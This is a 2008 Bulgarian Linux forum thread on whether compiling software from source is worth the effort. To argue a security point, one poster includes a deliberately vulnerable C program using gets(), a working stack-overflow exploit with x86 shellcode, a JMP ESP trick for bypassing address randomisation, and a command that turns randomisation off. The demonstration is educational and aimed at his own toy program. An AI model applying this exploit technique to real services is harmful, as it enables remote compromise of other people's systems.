Автор Тема: Има смисъл от компилирането на програми  (Прочетена 5511 пъти)

Hapkoc

  • Напреднали
  • *****
  • Публикации: 2117
    • Профил
Активен

neter

  • Global Moderator
  • Напреднали
  • *****
  • Публикации: 3408
  • Distribution: Debian, SailfishOS, CentOS
  • Window Manager: LXDE, Lipstick
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #16 -: Jul 10, 2008, 11:08 »
Компилирането на програми има смисъл в 3 случая:
1. Няма прекомпилиран пакет за дадената дистрибуция и прекомпилираните пакети за подобните й дистрибуции не вършат работа. Почти всичко, що се пише, се прекомпилира масово, така че, ако човек използва някоя от по-известните дистрибуции (десктоп потребителите, а и сървърните потребители, масово използват именно такива; затова са и известни дистрибуции), компилирането се налага в изключително редки случаи
2. Нужно е да се направи някаква промяна в source кода на програмата. Това пък се налага още по-рядко, а един десктоп потребител едва ли би стигнал до това.
3. Ентусиазъм или липса на друго занимание. Това е ясно '<img'>
В други случаи компилирането на програми от source е излишно губене на време и усилия. Дори и ядрото може да се инсталира спокойно прекомпилирано. Безсмислено е да отделиш часове наред за компилирането на ядро за десктоп машина, на която това дали ядрото е оптимизирано или не въобще няма да се усети.
Активен

"Да си добре приспособен към болно общество не е признак за добро здраве" - Джиду Кришнамурти

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #17 -: Jul 10, 2008, 11:33 »
В един ограничен случай има значение. Ако става въпрос за демон, който слухти на някакъв мрежов сокет. Ако има проблеми в кода, които водят до възможност за замазване на стека с глупости или някакви препълвания на заделена памет с цел изпълняване на зъл код. Тогава има известен смисъл този демон да е компилиран на ръка локално, а не инсталиран от binary пакет. Защото щом идеята е да се презапише някой указател (запазеният EIP в случая със стека), трябва да знаеш с какъв адрес да го презапишеш така че изпълнението на програмата да продължи с твоят зъл код.

Всички RPM пакети с определена версия, за определена платформа на определена дистрибуция, съдържат един и същ build на този демон, тоест всички такива адреси, с които да презапишеш указателя/стека в случая са едни и същи. Демек един и същ адрес (т.нар "return address") ще свърши работа за центос инсталацията на Пешо и за центос инсталацията на фирмата "Хикс комерс", стига демонът да е една и съща версия, инсталиран от пакет от центос репо-то.

Това означава, че някой зъл архи-хахор може да си е играл точно на тази платформа с gdb, да знае този return address и да го е дефинирал като константа в злият експлойт, който е написал. И хакерът Пешо Келешо да си издърпа експлойта от milw0rm или там откъдето си ги дърпа, да го пусне, да види че един от аргументите му е "target" като един от таргетите е "centos X, daemon version Y", да си избере съответния таргет и да хахорне отдалечената машина успешно без да си дава много зор.

Разбира се, това вече не е съвсем така защото от една версия на ядрото нататък има някаква рандомизация на адресното пространство, разни пачове дето маркират части от паметта non-executable, възможно е selinux policy-то да те плесне през ръцете и т.н. но също така аз давам най-простият пример, дефакто колкото и по-сложни да са станали нещата, този аргумент в полза на собствените компилации все още си е издържан до известна степен.
Активен

"Knowledge is power" - France is Bacon

sdr

  • Напреднали
  • *****
  • Публикации: 655
    • Профил
Има смисъл от компилирането на програми
« Отговор #18 -: Jul 10, 2008, 11:56 »
@gat3way да беше замълчал ли по-добре? Компилирането няма нищо общо с експлойтването в повечето случаи. Не говорим за hardaned системи там бирата е друга. Лично ползвам генто и въпроса да компилирам или не не седи пред мен - на машините където не е генто и които ползваме за работа предимно компилираме точно никога. По-точно компилираме когато наистина няма как да си докараме каквото искаме от бинарни пакети - пример ффмпег с амр поддръжка и други такива глезотии
Активен

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #19 -: Jul 10, 2008, 13:43 »
Напротив, има достатъчно общо. А иначе какво правите или не, не ме интересува особено '<img'> Мен принципно много рядко ми се налага да компилирам каквото и да било, но предполагам и тебе това слабо те интересува '<img'>
Активен

"Knowledge is power" - France is Bacon

spec1

  • Напреднали
  • *****
  • Публикации: 230
    • Профил
Има смисъл от компилирането на програми
« Отговор #20 -: Jul 10, 2008, 13:47 »
Както споменаха по-горе ,може и да няма прекомпилиран пакет за дадената дистрибуция.А може и в готовия пакет да липсват някои
възможности на съотв.продукт.
   Ако някой е със по-стара версия на дадена дистрибуция,може да
му се наложи  да ъпгрейдва до по-новата версия (иначе ще има сериозни проблеми  със зависимостите).
  Може да се наложи и инсталация на друга дистрибуция ,където
съотв.възможности са налице.
  И в единия,и в другия случаи това ще отнеме повече време (пък и  понякога повече нерви ...),отколкото компилиране от сорс-кода.
Активен

ANTIADMIN

  • Напреднали
  • *****
  • Публикации: 660
  • Distribution: Windows XP Pro latest updates
  • ANTIADMIN
    • Профил
Има смисъл от компилирането на програми
« Отговор #21 -: Jul 10, 2008, 14:10 »
0,g0d
да се изкажа и аз, като обикновен десктоп потребител. Според мен има смисъл само ако искаш инсталирането да протече по друг начин, различен от този, който би направил да речем един .deb, .rpm. Т.е. гледаш какво прави пакета, къде какво слага, по какъв начин, с какво, и ако не ти харесва, компилираш с разни флагове, опции, глупости.
Аз на слака много рядко компилирам, освен ако не е miro или zattoo или няква подобна екзотика, иначе tgz, rpm2tgz, alien и сръбска музика '<img'>
Активен

lunarvalleys

  • Гост
Има смисъл от компилирането на програми
« Отговор #22 -: Jul 10, 2008, 15:09 »
е ти си развалил Слака с тея 3rd party пакети  ':p'
Активен

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #23 -: Jul 10, 2008, 17:43 »
Хм всъщност все пак ще се постарая да се обоснова с един просто пример. Имаме много проста програма с буфер, склонен към препълване:

Примерен код

gat3way:/tmp/vuln# cat hax.c
#include <unistd.h>
#include <stdio.h>


int vuln()
{
char ####[50];
gets(####);
}

int main()
{
vuln();
printf("OK\n");
}


Имаме и един експлойт за тази програма (shellcode-a го взех от milw0rm, принципно трябва да вика /bin/ash. Тъй като нямам ash, направих symlink от /bin/ls към /bin/ash. Успешното счупване на тъпата програма "hax" би довело до извеждане на съдържанието на текущата директория. Ето го и "експлойта":


Примерен код

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

int main()
{

char hellcode[21] = "\x31\xc9\xf7\xe1\x04\x0b\x52\x68"
                             "\x2f\x61\x73\x68\x68\x2f\x62\x69"
                             "\x6e\x89\xe3\xcd\x80";
int a;
char *s=malloc(200);
char nop[1]="\x90";

//void (*ptr)() = (void(*)()) &hellcode[0];(*ptr)(); - works!

bzero(s,200);

for (a=1;a<=10;a++) strncat(s,nop,1); //padding
strcat(s,hellcode);
for (a=1;a<=40-strlen(hellcode);a++) strncat(s,nop,1); //padding

strncat(s,"aaaa",4); // destroy saved ESP :)
strncat(s,"\x77\xe7\xff\xff",4); // JMP ESP
strcat(s,hellcode); // after ESP
puts(s);
}


Забавното е това с return адреса - понеже съм голям тарикат '<img'> прецаквам по този начин randomize_va_space. Идеята е проста - намира се последователност, съответстваща на JMP ESP инструкцията (на х86 - 0xFFE4) и адресът й спокойно се използва за return адрес. Това става защото когато изпълнението се прехвърли там, оттам се прескача върху стека, където сме си разположили злия код.

Как се намира това? лесно - на база проба/грешка. Първо препълвам стека и презаписвам ret адреса с някаква абсурдна стойност (например 0xffffffff), крашвам програмата и с objdump търся JMP ESP:

Примерен код
gat3way:/tmp/vuln# ./vuln | ./hax
Segmentation fault (core dumped)
gat3way:/tmp/vuln# objdump -D core |grep jmp |grep esp
b7f5ff3b:       ff e4                   jmp    *%esp
ffffe777:       ff e4                   jmp    *%esp
gat3way:/tmp/vuln# ./vuln | ./hax
Segmentation fault (core dumped)
gat3way:/tmp/vuln# objdump -D core |grep jmp |grep esp
b7f39f3b:       ff e4                   jmp    *%esp
ffffe777:       ff e4                   jmp    *%esp


Ами честито, можем да разчитаме на 0xffffe777 - горният адрес за жалост е от областта, която се "рандомизира", но долният си е ОК.

Сега остава да си поправим "експлойта", оттам идва това:
strncat(s,"\x77\xe7\xff\xff",4);

И сега:

Примерен код

gat3way:/tmp/vuln# cc -o vuln vuln.c
vuln.c: In function ‘main’:
vuln.c:13: warning: incompatible implicit declaration of built-in function ‘malloc’
gat3way:/tmp/vuln# ./vuln | ./hax
core  hax  hax.c  vuln  vuln.c


Счупихме бъгливата програма.

Ся интересно е със същият return адрес дали програмата ще се строши ако е компилирана на друга система? Първо мислех да пробвам с друго gcc, но на друга система ще е най-истинско. Та за най-добре реших да пробвам върху виртуална машина (пак е x86, пак 2.6, дори пак Дебиан) - резултатът е тук:

http://imajr.com/Original.aspx?Id=####-1118895

Та ето я най-нагледно връзката между експлойтването и компилирането.

Отдавна не бях губил толкова време, за да се аргументирам ааа маха '<img'>

П.П гледам че има някаква цензора '<img'> #### да се чете като английската думичка за л@йно '<img'>



Активен

"Knowledge is power" - France is Bacon

tarator

  • Напреднали
  • *****
  • Публикации: 849
    • Профил
Има смисъл от компилирането на програми
« Отговор #24 -: Jul 10, 2008, 17:55 »
gat3way,

Сигурен ли си, че обикновеното компилиране, при използване на същия компилатор, библиотеки и конфигурация ще промени адресите?
Активен

A gentleman is one who is never rude unintentionally. - Noel Coward

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #25 -: Jul 10, 2008, 18:07 »
Променя се разположението на стека в адресното пространство, заради тая дивотия с рандомизацията. Може разбира се да се избегне с echo 0 > /proc/sys/kernel/randomize_va_space. Иначе кода пак си се зарежда оттам дето е entry point-a. Абе ето нагледно:

Примерен код
gat3way:/tmp/vuln# ./hax &
[1] 7350
gat3way:/tmp/vuln# cat /proc/`pidof hax`/maps
08048000-08049000 r-xp 00000000 08:01 1374044    /tmp/vuln/hax
08049000-0804a000 rw-p 00000000 08:01 1374044    /tmp/vuln/hax
b7dfc000-b7dfd000 rw-p b7dfc000 00:00 0
b7dfd000-b7f44000 r-xp 00000000 08:01 1768161    /lib/libc-2.7.so
b7f44000-b7f45000 r--p 00147000 08:01 1768161    /lib/libc-2.7.so
b7f45000-b7f47000 rw-p 00148000 08:01 1768161    /lib/libc-2.7.so
b7f47000-b7f4a000 rw-p b7f47000 00:00 0
b7f66000-b7f69000 rw-p b7f66000 00:00 0
b7f69000-b7f85000 r-xp 00000000 08:01 1766237    /lib/ld-2.7.so
b7f85000-b7f87000 rw-p 0001b000 08:01 1766237    /lib/ld-2.7.so
bf96f000-bf985000 rw-p bf96f000 00:00 0          [stack]
ffffe000-fffff000 ---p 00000000 00:00 0          [vdso]

gat3way:/tmp/vuln# kill -9 `pidof hax`
[1]+  Killed                  ./hax
gat3way:/tmp/vuln# ./hax &
[1] 7357
gat3way:/tmp/vuln# cat /proc/`pidof hax`/maps
08048000-08049000 r-xp 00000000 08:01 1374044    /tmp/vuln/hax
08049000-0804a000 rw-p 00000000 08:01 1374044    /tmp/vuln/hax
b7d87000-b7d88000 rw-p b7d87000 00:00 0
b7d88000-b7ecf000 r-xp 00000000 08:01 1768161    /lib/libc-2.7.so
b7ecf000-b7ed0000 r--p 00147000 08:01 1768161    /lib/libc-2.7.so
b7ed0000-b7ed2000 rw-p 00148000 08:01 1768161    /lib/libc-2.7.so
b7ed2000-b7ed5000 rw-p b7ed2000 00:00 0
b7ef1000-b7ef4000 rw-p b7ef1000 00:00 0
b7ef4000-b7f10000 r-xp 00000000 08:01 1766237    /lib/ld-2.7.so
b7f10000-b7f12000 rw-p 0001b000 08:01 1766237    /lib/ld-2.7.so
bf7fb000-bf810000 rw-p bf7fb000 00:00 0          [stack]
ffffe000-fffff000 ---p 00000000 00:00 0          [vdso]


А сега без randomize_va_space:

Примерен код

gat3way:/tmp/vuln# echo 0 > /proc/sys/kernel/randomize_va_space
gat3way:/tmp/vuln# ./hax &
[1] 7379
gat3way:/tmp/vuln# cat /proc/`pidof hax`/maps
08048000-08049000 r-xp 00000000 08:01 1374044    /tmp/vuln/hax
08049000-0804a000 rw-p 00000000 08:01 1374044    /tmp/vuln/hax
b7e77000-b7e78000 rw-p b7e77000 00:00 0
b7e78000-b7fbf000 r-xp 00000000 08:01 1768161    /lib/libc-2.7.so
b7fbf000-b7fc0000 r--p 00147000 08:01 1768161    /lib/libc-2.7.so
b7fc0000-b7fc2000 rw-p 00148000 08:01 1768161    /lib/libc-2.7.so
b7fc2000-b7fc5000 rw-p b7fc2000 00:00 0
b7fe1000-b7fe4000 rw-p b7fe1000 00:00 0
b7fe4000-b8000000 r-xp 00000000 08:01 1766237    /lib/ld-2.7.so
b8000000-b8002000 rw-p 0001b000 08:01 1766237    /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 ---p 00000000 00:00 0          [vdso]

[1]+  Stopped                 ./hax
gat3way:/tmp/vuln# kill -9 `pidof hax`
[1]   Killed                  ./hax
gat3way:/tmp/vuln# ./hax &
[2] 7383
gat3way:/tmp/vuln# cat /proc/`pidof hax`/maps
08048000-08049000 r-xp 00000000 08:01 1374044    /tmp/vuln/hax
08049000-0804a000 rw-p 00000000 08:01 1374044    /tmp/vuln/hax
b7e77000-b7e78000 rw-p b7e77000 00:00 0
b7e78000-b7fbf000 r-xp 00000000 08:01 1768161    /lib/libc-2.7.so
b7fbf000-b7fc0000 r--p 00147000 08:01 1768161    /lib/libc-2.7.so
b7fc0000-b7fc2000 rw-p 00148000 08:01 1768161    /lib/libc-2.7.so
b7fc2000-b7fc5000 rw-p b7fc2000 00:00 0
b7fe1000-b7fe4000 rw-p b7fe1000 00:00 0
b7fe4000-b8000000 r-xp 00000000 08:01 1766237    /lib/ld-2.7.so
b8000000-b8002000 rw-p 0001b000 08:01 1766237    /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
ffffe000-fffff000 ---p 00000000 00:00 0          [vdso]


Сега са едни и същи. Разбира се ако го компилирам на друга машина със същите библиотеки няма да е валидно предполагам.
Активен

"Knowledge is power" - France is Bacon

spec1

  • Напреднали
  • *****
  • Публикации: 230
    • Профил
Има смисъл от компилирането на програми
« Отговор #26 -: Jul 10, 2008, 20:35 »
Така и така минахме на тема exploit -и.
  Понякога има проблеми със сигурността , касаещи напр. ядрото.
 Преди няколко месеца нашумя следния случай: обикновен
потребител ,който вече е в системата,може да придобие root
привилегии чрез ... core dump (!'<img'>.
  В тези случаи кво праим ?  '<img'>
  Да чакаме някой друг да компилира  ядро с необходимия пач  '<img'>
 Дори и фирми от ранга на  RedHat и  Novell (SuSE)  се бавят.
 Ми много просто съотв. системен администратор,ако е на ниво,
трябва сам да компилира ново ядро със съотв.пач (рабира се,
трябва да има и съотв. познания как се прави това).
 Сигурен съм ,че и  neter   ще се съгласи с това.
Активен

sdr

  • Напреднали
  • *****
  • Публикации: 655
    • Профил
Има смисъл от компилирането на програми
« Отговор #27 -: Jul 10, 2008, 22:59 »
@gat3way
Погледни към края на статията (преди коментарите):
http://www.debian-administration.org/articles/408
Ако мястото за пейлоуд е малко това наистина може да е проблем в повечето случаи можеш да "вкараш" достатъчно за да си решиш проблемите

Чак и на мен ми стана интересно:
http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
с две думи всичко което казваш е много полезно и прави трудно ползването не "готови" библиотеки - само дето ядрото си е там и е готово да ти служи



Активен

neter

  • Global Moderator
  • Напреднали
  • *****
  • Публикации: 3408
  • Distribution: Debian, SailfishOS, CentOS
  • Window Manager: LXDE, Lipstick
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #28 -: Jul 10, 2008, 23:18 »
Точно така, съгласен съм с теб, spec1, и с gat3way също за частните случаи, за които говорите, взел съм ги предвид в случай 2. Съгласен съм, обаче, и с Hapkoc и другите, които смятат, че компилирането от source е безсмислена дейност в масов мащаб, защото частните случаи са редки изключения. Казано по друг начин - компилирането никога не трябва да отпадне като вариант за инсталиране, пакетите трябва да се разпространяват и в source вариант като застраховка от грешки, а и поради много други причини, но при наличието на прекомпилиран вариант на пакета смятам, че не е нужно човек да си губи времето с компилиране без да има основателна причина за конкретния случай. И тъй като времето е пари, то в 99% от случаите безпричинната презастраховка излиза по-скъпо, отколкото евентуална грешка, която може да се прояви заради използването на прекомпилирани пакети. 1% вероятност не е малко на теория, но на практика 99-те процента носят по-големи приходи. Ако не се гледа материалната страна на нещата, то тогава отиваме към случай 3 с ентусиазма и липсата на друго занимание '<img'>
Активен

"Да си добре приспособен към болно общество не е признак за добро здраве" - Джиду Кришнамурти

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Има смисъл от компилирането на програми
« Отговор #29 -: Jul 11, 2008, 10:09 »
Ъм, там пише че stack protection-ът им няма да сработи при експлойтване на return-into-libc принцип, демек там дето си тъпчеш в буфера нужните данни и презаписваш return адреса да сочи към някоя libc функция. Обаче ако се има предвид address space randomization-a, трябва да имаш много голям късмет, че да успееш да го експлойтнеш по този начин. Горе където пействах /proc/pid/maps се вижда, че libc се зарежда на различни (случайни) адреси в паметта на процеса, така че няма как да нацелиш това, с което да презапишеш стек пойнтера. В простият случай, който дадох, shellcode-а се намира на известно място, в стека, така че номера с JMP ESP opcode-а е ефективен. Но когато ролята на shellcode се играе от libc функция, която не знаеш къде се намира в паметта, този номер няма да мине.

Има нещо по-интересно обаче '<img'> Ако си забелязал, горе пак дето пействах maps се вижда, че регионите на паметта, където са мапнати библиотеки, код, стек и т.н. си имат позволения (read, write, execute и т.н.). Стекът (където ни се намира шелкода), както и 0xfffe777 където ни е JMP ESP нямат "execute" право, въпреки това инструкцията, както и шелкода се изпълняват. Това става, защото при x86 архитектури, "x" няма никакво значение (на разни RISC архитектури има). Обаче има разни пачове за ядрото, които все пак позволяват тези позволения на страниците в паметта да са ефективни и на x86, например PaX. Това си става за сметка на производителност, но рискът от всякакви атаки свързани с препълване на буфери, се намалява много брутално. Вероятно пак си е възможно да се направи нещо по въпроса, но сигурно изисква доста фантазия '<img'> освен като подход ще е валидно само за конкретната програма дето искаме да чупим.
Активен

"Knowledge is power" - France is Bacon